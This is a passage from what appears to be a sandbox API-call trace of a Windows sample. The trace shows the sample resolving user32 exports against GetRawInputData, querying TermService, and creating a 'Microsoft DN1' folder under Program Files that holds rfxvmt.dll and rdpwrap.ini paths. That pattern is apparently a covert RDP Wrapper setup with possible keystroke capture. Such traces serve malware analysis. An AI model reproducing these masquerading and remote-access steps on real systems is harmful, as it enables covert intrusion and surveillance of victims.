-1 [0294.829] lstrcmpA (lpString1="CheckDlgButton", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CheckMenuItem", lpString2="GetRawInputData") returned -1 [0294.829] lstrcmpA (lpString1="CheckMenuRadioItem", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CheckRadioButton", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CheckWindowThreadDesktop", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ChildWindowFromPoint", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ChildWindowFromPointEx", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CliImmSetHotKey", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ClientThreadSetup", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ClientToScreen", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ClipCursor", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseClipboard", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseDesktop", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseGestureInfoHandle", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseTouchInputHandle", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseWindow", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CloseWindowStation", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ConsoleControl", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="ControlMagnification", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CopyAcceleratorTableA", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CopyAcceleratorTableW", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CopyIcon", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CopyImage", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CopyRect", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CountClipboardFormats", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateAcceleratorTableA", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateAcceleratorTableW", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateCaret", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateCursor", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDesktopA", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDesktopExA", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDesktopExW", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDesktopW", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDialogIndirectParamA", lpString2="GetRawInputData") returned -1 [0294.830] lstrcmpA (lpString1="CreateDialogIndirectParamAorW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateDialogIndirectParamW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateDialogParamA", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateDialogParamW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateIcon", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateIconFromResource", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateIconFromResourceEx", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateIconIndirect", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateMDIWindowA", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateMDIWindowW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateMenu", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreatePopupMenu", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateSystemThreads", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateWindowExA", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateWindowExW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateWindowStationA", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CreateWindowStationW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CsrBroadcastSystemMessageExW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="CtxInitUser32", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeAbandonTransaction", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeAccessData", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeAddData", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeClientTransaction", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeCmpStringHandles", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeConnect", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeConnectList", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeCreateDataHandle", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeCreateStringHandleA", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeCreateStringHandleW", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeDisconnect", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeDisconnectList", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeEnableCallback", lpString2="GetRawInputData") returned -1 [0294.831] lstrcmpA (lpString1="DdeFreeDataHandle", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeFreeStringHandle", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeGetData", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeGetLastError", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeGetQualityOfService", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeImpersonateClient", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeInitializeA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeInitializeW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeKeepStringHandle", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeNameService", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdePostAdvise", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeQueryConvInfo", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeQueryNextServer", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeQueryStringA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeQueryStringW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeReconnect", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeSetQualityOfService", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeSetUserHandle", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeUnaccessData", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DdeUninitialize", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefDlgProcA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefDlgProcW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefFrameProcA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefFrameProcW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefMDIChildProcA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefMDIChildProcW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefRawInputProc", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefWindowProcA", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DefWindowProcW", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DeleteMenu", lpString2="GetRawInputData") returned -1 [0294.832] lstrcmpA (lpString1="DeregisterShellHookWindow", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyAcceleratorTable", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyCaret", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyCursor", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyIcon", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyMenu", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyReasons", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DestroyWindow", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DeviceEventWorker", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DialogBoxIndirectParamA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DialogBoxIndirectParamAorW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DialogBoxIndirectParamW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DialogBoxParamA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DialogBoxParamW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DisableProcessWindowsGhosting", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DispatchMessageA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DispatchMessageW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DisplayConfigGetDeviceInfo", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DisplayConfigSetDeviceInfo", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DisplayExitWindowsWarnings", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirListA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirListComboBoxA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirListComboBoxW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirListW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirSelectComboBoxExA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirSelectComboBoxExW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirSelectExA", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DlgDirSelectExW", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DoSoundConnect", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DoSoundDisconnect", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DragDetect", lpString2="GetRawInputData") returned -1 [0294.833] lstrcmpA (lpString1="DragObject", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawAnimatedRects", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawCaption", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawCaptionTempA", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawCaptionTempW", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawEdge", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawFocusRect", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawFrame", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawFrameControl", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawIcon", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawIconEx", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawMenuBar", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawMenuBarTemp", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawStateA", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawStateW", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawTextA", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawTextExA", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawTextExW", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DrawTextW", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DwmGetDxSharedSurface", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DwmStartRedirection", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="DwmStopRedirection", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="EditWndProc", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="EmptyClipboard", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="EnableMenuItem", lpString2="GetRawInputData") returned -1 [0294.834] lstrcmpA (lpString1="EnableScrollBar", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnableWindow", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EndDeferWindowPos", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EndDialog", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EndMenu", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EndPaint", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EndTask", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnterReaderModeHelper", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumChildWindows", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumClipboardFormats", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDesktopWindows", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDesktopsA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDesktopsW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplayDevicesA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplayDevicesW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplayMonitors", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplaySettingsA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplaySettingsExA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplaySettingsExW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumDisplaySettingsW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumPropsA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumPropsExA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumPropsExW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumPropsW", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumThreadWindows", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumWindowStationsA", lpString2="GetRawInputData") returned -1 [0294.835] lstrcmpA (lpString1="EnumWindowStationsW", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="EnumWindows", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="EqualRect", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="ExcludeUpdateRgn", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="ExitWindowsEx", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="FillRect", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="FindWindowA", lpString2="GetRawInputData") returned -1 [0294.836] lstrcmpA (lpString1="FindWindowExA", lpString2="GetRawInputData") returned -1 [0294.838] GetProcessHeap () returned 0x820000 [0294.838] RtlAllocateHeap (HeapHandle=0x820000, Flags=0x0, Size=0x18) returned 0x847840 [0294.838] lstrlenW (lpString="TermService") returned 11 [0294.838] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.838] lstrlenW (lpString="TermService") returned 11 [0294.838] lstrcpyW (in: lpString1=0x700000, lpString2="TermService" | out: lpString1="TermService") returned="TermService" [0294.839] lstrlenW (lpString="TermService") returned 11 [0294.839] VirtualAlloc (lpAddress=0x0, dwSize=0x1a, flAllocationType=0x3000, flProtect=0x4) returned 0x710000 [0294.839] lstrcatW (in: lpString1="", lpString2="TermService" | out: lpString1="TermService") returned="TermService" [0294.839] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.839] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.839] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.840] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.840] lstrcpyW (in: lpString1=0x700000, lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.840] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.840] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x720000 [0294.840] lstrcatW (in: lpString1="", lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.840] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.840] lstrlenW (lpString="%windir%\\System32") returned 17 [0294.840] VirtualAlloc (lpAddress=0x0, dwSize=0x24, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.841] lstrlenW (lpString="%windir%\\System32") returned 17 [0294.841] lstrcpyW (in: lpString1=0x700000, lpString2="%windir%\\System32" | out: lpString1="%windir%\\System32") returned="%windir%\\System32" [0294.841] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32", lpDst=0x28f684, nSize=0x1ff | out: lpDst="C:\\Windows\\System32") returned 0x14 [0294.841] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.841] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x730000 [0294.841] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.841] lstrcpyW (in: lpString1=0x730000, lpString2="C:\\Windows\\System32" | out: lpString1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0294.841] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.841] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x740000 [0294.841] lstrcpyW (in: lpString1=0x740000, lpString2="C:\\Windows\\System32" | out: lpString1="C:\\Windows\\System32") returned="C:\\Windows\\System32" [0294.841] VirtualFree (lpAddress=0x730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.842] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.842] GetCurrentProcess () returned 0xffffffff [0294.842] GetModuleHandleA (lpModuleName="kernel32") returned 0x772b0000 [0294.842] GetProcAddress (hModule=0x772b0000, lpProcName="IsWow64Process") returned 0x772c193e [0294.842] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x28fa74 | out: Wow64Process=0x28fa74*=1) returned 1 [0294.842] VirtualFree (lpAddress=0x720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.843] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.843] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.843] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.843] lstrcpyW (in: lpString1=0x700000, lpString2="%ProgramW6432%" | out: lpString1="%ProgramW6432%") returned="%ProgramW6432%" [0294.843] lstrlenW (lpString="%ProgramW6432%") returned 14 [0294.843] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x720000 [0294.843] lstrcatW (in: lpString1="", lpString2="%ProgramW6432%" | out: lpString1="%ProgramW6432%") returned="%ProgramW6432%" [0294.843] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.843] ExpandEnvironmentStringsW (in: lpSrc="%ProgramW6432%", lpDst=0x28f684, nSize=0x1ff | out: lpDst="C:\\Program Files") returned 0x11 [0294.843] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.843] VirtualAlloc (lpAddress=0x0, dwSize=0x22, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.844] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.844] lstrcpyW (in: lpString1=0x700000, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0294.844] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.844] VirtualAlloc (lpAddress=0x0, dwSize=0x22, flAllocationType=0x3000, flProtect=0x4) returned 0x730000 [0294.844] lstrcpyW (in: lpString1=0x730000, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0294.844] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.844] VirtualFree (lpAddress=0x720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.845] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.845] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.845] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.845] lstrcpyW (in: lpString1=0x700000, lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.845] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.845] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x720000 [0294.845] lstrcatW (in: lpString1="", lpString2="%ProgramFiles%" | out: lpString1="%ProgramFiles%") returned="%ProgramFiles%" [0294.845] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.846] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.846] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.846] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.846] lstrcpyW (in: lpString1=0x700000, lpString2="\\Microsoft DN1" | out: lpString1="\\Microsoft DN1") returned="\\Microsoft DN1" [0294.846] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.846] lstrlenW (lpString="C:\\Program Files") returned 16 [0294.846] VirtualQuery (in: lpAddress=0x730000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x730000, AllocationBase=0x730000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.846] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x750000 [0294.846] VirtualFree (lpAddress=0x730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.847] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\Microsoft DN1" | out: lpString1="C:\\Program Files\\Microsoft DN1") returned="C:\\Program Files\\Microsoft DN1" [0294.847] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.847] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.847] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.847] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.847] lstrcpyW (in: lpString1=0x700000, lpString2="\\Microsoft DN1" | out: lpString1="\\Microsoft DN1") returned="\\Microsoft DN1" [0294.847] lstrlenW (lpString="\\Microsoft DN1") returned 14 [0294.847] lstrlenW (lpString="%ProgramFiles%") returned 14 [0294.847] VirtualQuery (in: lpAddress=0x720000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x720000, AllocationBase=0x720000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.847] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x3000, flProtect=0x4) returned 0x730000 [0294.848] VirtualFree (lpAddress=0x720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.848] lstrcatW (in: lpString1="%ProgramFiles%", lpString2="\\Microsoft DN1" | out: lpString1="%ProgramFiles%\\Microsoft DN1") returned="%ProgramFiles%\\Microsoft DN1" [0294.848] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.848] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.848] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.848] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.848] lstrcpyW (in: lpString1=0x700000, lpString2="\\rfxvmt.dll" | out: lpString1="\\rfxvmt.dll") returned="\\rfxvmt.dll" [0294.848] lstrlenW (lpString="\\rfxvmt.dll") returned 11 [0294.849] lstrlenW (lpString="C:\\Windows\\System32") returned 19 [0294.849] VirtualQuery (in: lpAddress=0x740000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x740000, AllocationBase=0x740000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.849] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x720000 [0294.849] VirtualFree (lpAddress=0x740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.849] lstrcatW (in: lpString1="C:\\Windows\\System32", lpString2="\\rfxvmt.dll" | out: lpString1="C:\\Windows\\System32\\rfxvmt.dll") returned="C:\\Windows\\System32\\rfxvmt.dll" [0294.849] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.850] SHCreateDirectoryExW (hwnd=0x0, pszPath="C:\\Program Files\\Microsoft DN1" (normalized: "c:\\program files\\microsoft dn1"), psa=0x0) returned 5 [0294.850] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.850] VirtualAlloc (lpAddress=0x0, dwSize=0x3e, flAllocationType=0x3000, flProtect=0x4) returned 0x700000 [0294.850] lstrcpyW (in: lpString1=0x700000, lpString2="C:\\Program Files\\Microsoft DN1" | out: lpString1="C:\\Program Files\\Microsoft DN1") returned="C:\\Program Files\\Microsoft DN1" [0294.850] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.850] VirtualAlloc (lpAddress=0x0, dwSize=0x1a, flAllocationType=0x3000, flProtect=0x4) returned 0x740000 [0294.851] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.851] lstrcpyW (in: lpString1=0x740000, lpString2="\\rdpwrap.ini" | out: lpString1="\\rdpwrap.ini") returned="\\rdpwrap.ini" [0294.851] lstrlenW (lpString="\\rdpwrap.ini") returned 12 [0294.851] lstrlenW (lpString="C:\\Program Files\\Microsoft DN1") returned 30 [0294.851] VirtualQuery (in: lpAddress=0x700000, lpBuffer=0x28fa28, dwLength=0x1c | out: lpBuffer=0x28fa28*(BaseAddress=0x700000, AllocationBase=0x700000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0294.851] VirtualAlloc (lpAddress=0x0, dwSize=0x58, flAllocationType=0x3000, flProtect=0x4) returned 0x760000 [0294.851] VirtualFree (lpAddress=0x700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0294.851] lstrcatW (in: lpString1="C:\\Program Files\\Microsoft DN1", lpString2="\\rdpwrap.ini" | out: lpString1="C:\\Program Files\\Microsoft DN1\\rdpwrap.ini") returned="C:\\Program Files\\Microsoft DN1\\rdpwrap.ini" [0294.851] 